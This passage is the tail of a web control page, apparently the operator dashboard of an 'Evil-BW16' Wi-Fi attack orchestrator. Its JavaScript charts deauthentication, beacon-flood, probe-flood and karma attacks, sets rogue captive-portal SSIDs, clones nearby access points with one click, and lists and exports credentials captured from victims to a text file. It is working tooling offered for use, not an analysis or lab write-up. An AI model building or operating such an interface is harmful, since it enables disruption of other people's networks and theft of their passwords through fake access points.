|
<span class="stat-value">${portal.credentialsCaptured || 0}</span>
|
|
<div class="stat-label">Captured</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${portal.captureRate?.toFixed(1) || 0}%</span>
|
|
<div class="stat-label">Capture Rate</div>
|
|
</div>
|
|
</div>
|
|
`;
|
|
document.getElementById('portalStats').innerHTML = portalStatsHTML;
|
|
}
|
|
|
|
// Chart Management
|
|
function initializeCharts() {
|
|
// Attack Performance Chart
|
|
const attackCtx = document.getElementById('attackChart').getContext('2d');
|
|
charts.attack = new Chart(attackCtx, {
|
|
type: 'line',
|
|
data: {
|
|
labels: [],
|
|
datasets: [{
|
|
label: 'Attacks per Minute',
|
|
data: [],
|
|
borderColor: '#00ff41',
|
|
backgroundColor: 'rgba(0, 255, 65, 0.1)',
|
|
tension: 0.4
|
|
}]
|
|
},
|
|
options: {
|
|
responsive: true,
|
|
maintainAspectRatio: false,
|
|
scales: {
|
|
y: { beginAtZero: true }
|
|
},
|
|
plugins: {
|
|
legend: { labels: { color: '#00ff41' } }
|
|
}
|
|
}
|
|
});
|
|
|
|
// BLE Connection Chart
|
|
const bleCtx = document.getElementById('bleChart').getContext('2d');
|
|
charts.ble = new Chart(bleCtx, {
|
|
type: 'doughnut',
|
|
data: {
|
|
labels: ['Successful', 'Failed'],
|
|
datasets: [{
|
|
data: [0, 0],
|
|
backgroundColor: ['#44ff44', '#ff4444']
|
|
}]
|
|
},
|
|
options: {
|
|
responsive: true,
|
|
maintainAspectRatio: false,
|
|
plugins: {
|
|
legend: { labels: { color: '#00ff41' } }
|
|
}
|
|
}
|
|
});
|
|
|
|
// Initialize other charts for analytics tab
|
|
const trendsCtx = document.getElementById('trendsChart').getContext('2d');
|
|
charts.trends = new Chart(trendsCtx, {
|
|
type: 'bar',
|
|
data: {
|
|
labels: ['Deauth', 'Beacon', 'Probe', 'Karma', 'Distributed'],
|
|
datasets: [{
|
|
label: 'Attack Count',
|
|
data: [0, 0, 0, 0, 0],
|
|
backgroundColor: ['#ff4444', '#ff6644', '#ffaa44', '#44ff44', '#4444ff']
|
|
}]
|
|
},
|
|
options: {
|
|
responsive: true,
|
|
maintainAspectRatio: false,
|
|
plugins: {
|
|
legend: { labels: { color: '#00ff41' } }
|
|
}
|
|
}
|
|
});
|
|
|
|
const successCtx = document.getElementById('successChart').getContext('2d');
|
|
charts.success = new Chart(successCtx, {
|
|
type: 'polarArea',
|
|
data: {
|
|
labels: ['BLE Success', 'Attack Success', 'Portal Capture'],
|
|
datasets: [{
|
|
data: [0, 0, 0],
|
|
backgroundColor: ['#44ff44', '#ff6644', '#4444ff']
|
|
}]
|
|
},
|
|
options: {
|
|
responsive: true,
|
|
maintainAspectRatio: false,
|
|
plugins: {
|
|
legend: { labels: { color: '#00ff41' } }
|
|
}
|
|
}
|
|
});
|
|
}
|
|
|
|
function updateCharts(stats) {
|
|
// Update Attack Chart
|
|
if (charts.attack) {
|
|
charts.attack.data.datasets[0].data.push(stats.live?.attacksPerMinute || 0);
|
|
charts.attack.data.labels.push(new Date().toLocaleTimeString());
|
|
|
|
if (charts.attack.data.labels.length > 20) {
|
|
charts.attack.data.labels.shift();
|
|
charts.attack.data.datasets[0].data.shift();
|
|
}
|
|
charts.attack.update();
|
|
}
|
|
|
|
// Update BLE Chart
|
|
if (charts.ble) {
|
|
charts.ble.data.datasets[0].data = [
|
|
stats.ble?.connectionSuccesses || 0,
|
|
stats.ble?.connectionFailures || 0
|
|
];
|
|
charts.ble.update();
|
|
}
|
|
|
|
// Update Analytics Charts
|
|
if (charts.trends) {
|
|
charts.trends.data.datasets[0].data = [
|
|
stats.attacks?.deauthAttacks || 0,
|
|
stats.attacks?.beaconFloods || 0,
|
|
stats.attacks?.probeFloods || 0,
|
|
stats.attacks?.karmaAttacks || 0,
|
|
stats.attacks?.distributedAttacks || 0
|
|
];
|
|
charts.trends.update();
|
|
}
|
|
|
|
if (charts.success) {
|
|
charts.success.data.datasets[0].data = [
|
|
stats.ble?.successRate || 0,
|
|
((stats.attacks?.successfulTargets || 0) / (stats.attacks?.totalLaunched || 1) * 100),
|
|
stats.portal?.captureRate || 0
|
|
];
|
|
charts.success.update();
|
|
}
|
|
}
|
|
|
|
// Portal Functions
|
|
function updatePortalSSID() {
|
|
const ssid = document.getElementById('portal_ssid').value;
|
|
sendCmd('set_ssid ' + ssid);
|
|
document.getElementById('currentPortalSSID').textContent = ssid;
|
|
}
|
|
|
|
function setPortalTemplate(template) {
|
|
document.getElementById('portal_ssid').value = template;
|
|
updatePortalSSID();
|
|
}
|
|
|
|
// Credential Management
|
|
function refreshCredentials() {
|
|
fetch("/cmd", {
|
|
method: "POST",
|
|
headers: { "Content-Type": "application/json" },
|
|
body: JSON.stringify({ cmd: "get_credentials", targets: [] })
|
|
})
|
|
.then(response => response.json())
|
|
.then(credentials => {
|
|
const credList = document.getElementById('credentialsList');
|
|
document.getElementById('credCount').textContent = credentials.length;
|
|
|
|
if (credentials.length === 0) {
|
|
credList.innerHTML = '<p>No credentials captured yet.</p>';
|
|
} else {
|
|
credList.innerHTML = `<h4>Captured Credentials (${credentials.length}):</h4>`;
|
|
credentials.forEach((cred, index) => {
|
|
const credDiv = document.createElement('div');
|
|
credDiv.className = 'credential-item';
|
|
credDiv.innerHTML = `<strong>#${index + 1}:</strong> ${cred}`;
|
|
credList.appendChild(credDiv);
|
|
});
|
|
}
|
|
})
|
|
.catch(error => console.error('Error fetching credentials:', error));
|
|
}
|
|
|
|
function clearCredentials() {
|
|
if (confirm('Are you sure you want to clear all captured credentials?')) {
|
|
sendCmd('clear_credentials');
|
|
document.getElementById('credentialsList').innerHTML = '<p>Credentials cleared.</p>';
|
|
document.getElementById('credCount').textContent = '0';
|
|
}
|
|
}
|
|
|
|
function exportCredentials() {
|
|
fetch("/cmd", {
|
|
method: "POST",
|
|
headers: { "Content-Type": "application/json" },
|
|
body: JSON.stringify({ cmd: "get_credentials", targets: [] })
|
|
})
|
|
.then(response => response.json())
|
|
.then(credentials => {
|
|
if (credentials.length > 0) {
|
|
const dataStr = credentials.join('\n');
|
|
const dataBlob = new Blob([dataStr], {type: 'text/plain'});
|
|
const url = URL.createObjectURL(dataBlob);
|
|
const link = document.createElement('a');
|
|
link.href = url;
|
|
link.download = 'evil_bw16_credentials_' + new Date().toISOString().slice(0,10) + '.txt';
|
|
link.click();
|
|
URL.revokeObjectURL(url);
|
|
showNotification('Credentials exported successfully', 'success');
|
|
} else {
|
|
showNotification('No credentials to export', 'warning');
|
|
}
|
|
})
|
|
.catch(error => console.error('Error exporting credentials:', error));
|
|
}
|
|
|
|
// AP List Management
|
|
function updateApList() {
|
|
fetch("/ap_list")
|
|
.then(response => response.json())
|
|
.then(aps => {
|
|
const apListDiv = document.getElementById('aplist');
|
|
apListDiv.innerHTML = '<h4>Click AP to Clone:</h4>';
|
|
aps.forEach(ap => {
|
|
const parts = ap.split(',');
|
|
const apDiv = document.createElement('div');
|
|
apDiv.className = 'network-item';
|
|
apDiv.innerHTML = `
|
|
<div>
|
|
<strong>${parts[0]}</strong><br>
|
|
<small>BSSID: ${parts[1]} | Channel: ${parts[2]}</small>
|
|
</div>
|
|
`;
|
|
apDiv.onclick = () => {
|
|
sendCmd(`clone_ap,${parts[0]},${parts[1]},${parts[2]}`);
|
|
showNotification(`Cloning AP: ${parts[0]}`, 'info');
|
|
};
|
|
apListDiv.appendChild(apDiv);
|
|
});
|
|
})
|
|
.catch(error => console.error('Error fetching AP list:', error));
|
|
}
|
|
|
|
// Log Management
|
|
function updateLogs() {
|
|
fetch("/logs")
|
|
.then(response => response.text())
|
|
.then(logs => {
|
|
document.getElementById('terminal').innerText = logs;
|
|
const terminal = document.getElementById('terminal');
|
|
terminal.scrollTop = terminal.scrollHeight;
|
|
})
|
|
.catch(error => console.error('Error fetching logs:', error));
|
|
}
|
|
|
|
function clearLogs() {
|
|
if (confirm('Clear all logs?')) {
|
|
document.getElementById('terminal').innerText = '';
|
|
}
|
|
}
|
|
|
|
// Analytics
|
|
function loadAnalytics() {
|
|
if (!globalStats.system) return;
|
|
|
|
const detailedStatsHTML = `
|
|
<div class="stats-grid">
|
|
<div class="stat-card">
|
|
<span class="stat-value">${globalStats.system?.uptime || 0}</span>
|
|
<div class="stat-label">System Uptime (ms)</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${globalStats.ble?.totalMessages || 0}</span>
|
|
<div class="stat-label">Total BLE Messages</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${globalStats.ble?.avgLatency?.toFixed(2) || 0}ms</span>
|
|
<div class="stat-label">Avg BLE Latency</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${globalStats.network?.uniqueFound || 0}</span>
|
|
<div class="stat-label">Unique Networks</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${globalStats.attacks?.framesTransmitted || 0}</span>
|
|
<div class="stat-label">Frames Transmitted</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${globalStats.slaves?.avgResponseTime?.toFixed(2) || 0}ms</span>
|
|
<div class="stat-label">Avg Response Time</div>
|
|
</div>
|
|
</div>
|
|
`;
|
|
document.getElementById('detailedStats').innerHTML = detailedStatsHTML;
|
|
}
|
|
|
|
// Utility Functions
|
|
function formatUptime(ms) {
|
|
const seconds = Math.floor(ms / 1000);
|
|
const minutes = Math.floor(seconds / 60);
|
|
const hours = Math.floor(minutes / 60);
|
|
const days = Math.floor(hours / 24);
|
|
|
|
if (days > 0) return `${days}d ${hours % 24}h`;
|
|
if (hours > 0) return `${hours}h ${minutes % 60}m`;
|
|
if (minutes > 0) return `${minutes}m ${seconds % 60}s`;
|
|
return `${seconds}s`;
|
|
}
|
|
|
|
function formatBytes(bytes) {
|
|
if (bytes === 0) return '0 B';
|
|
const k = 1024;
|
|
const sizes = ['B', 'KB', 'MB', 'GB'];
|
|
const i = Math.floor(Math.log(bytes) / Math.log(k));
|
|
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
|
|
}
|
|
|
|
function showNotification(message, type = 'info') {
|
|
const notification = document.getElementById('notification');
|
|
const notificationText = document.getElementById('notificationText');
|
|
|
|
notificationText.textContent = message;
|
|
notification.className = `notification ${type}`;
|
|
notification.classList.add('show');
|
|
|
|
setTimeout(() => {
|
|
notification.classList.remove('show');
|
|
}, 3000);
|
|
}
|
|
|
|
// Initialize Application
|
|
window.onload = () => {
|
|
initializeCharts();
|
|
updateSystemStatus();
|
|
updateLogs();
|
|
|
|
// Set up auto-refresh intervals
|
|
updateInterval = setInterval(() => {
|
|
updateSystemStatus();
|
|
updateLogs();
|
|
}, 2000);
|
|
|
|
showNotification('Evil-BW16 Orchestrator Initialized', 'success');
|
|
};
|
|
|
|
// Cleanup on page unload
|
|
window.onbeforeunload = () => {
|
|
if (updateInterval) {
|
|
clearInterval(updateInterval);
|
|
}
|
|
};
|
|
</script>
|
|
|
|
</body></html>
|